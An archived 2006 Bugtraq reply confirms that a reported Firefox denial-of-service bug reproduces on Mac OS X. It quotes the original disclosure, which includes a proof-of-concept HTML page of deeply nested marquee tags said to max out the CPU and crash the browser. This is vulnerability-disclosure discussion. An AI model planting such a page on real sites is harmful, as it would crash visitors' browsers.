Bugtraq mailing list archives
Re: Fire fox dos exploit
From: Yannick von Arx <yannick.vonarx () yanux ch>
Date: Wed, 31 May 2006 19:28:24 +0200
Under Apple Mac OS X 10.4.6 (PPC) with Firefox 1.5.0.3 it's reproducible!
Cheers, Yannick von Arx Am 31.05.2006 um 16:50 schrieb Josh Zlatin-Amishav:
On Tue, 30 May 2006, co296 () aol com wrote:I have found a problem which causes denial of service on fire fox browserCan you give us some more details, like versions and platforms affected? I was unable to recreate this flaw using firefox 1.5.dfsg +1.5.0 on Debian unstable.-- - JoshCreadit:to n00b for finding this bug.. the problem lie's in the <marquee> html tag uses 100% cpu and crash's the browser.. Following proof of concept available <html> <head> <title>Credit to n00b..</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head> <body><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></body> </html>
Current thread:
- Re: Fire fox dos exploit pagvac (Jun 04)
- <Possible follow-ups>
- RE: Fire fox dos exploit Andy (Jun 04)
- RE: Fire fox dos exploit Sanjay Rawat (Jun 05)
- RE: Fire fox dos exploit Jaroslaw Sajko (Jun 07)
- RE: Fire fox dos exploit Sanjay Rawat (Jun 05)
- Re: Fire fox dos exploit Ronald van den Blink (Jun 04)
- Re: Fire fox dos exploit Yannick von Arx (Jun 04)
- Re: Re: Fire fox dos exploit vincenzo . ampolo (Jun 04)
- Re: Fire fox dos exploit Phil Trainor (Jun 04)
- Re: Fire fox dos exploit Ronald van den Blink (Jun 04)
- Re: Fire fox dos exploit Aaron Hopkins (Jun 04)
- Re: Re: Fire fox dos exploit al4321 (Jun 07)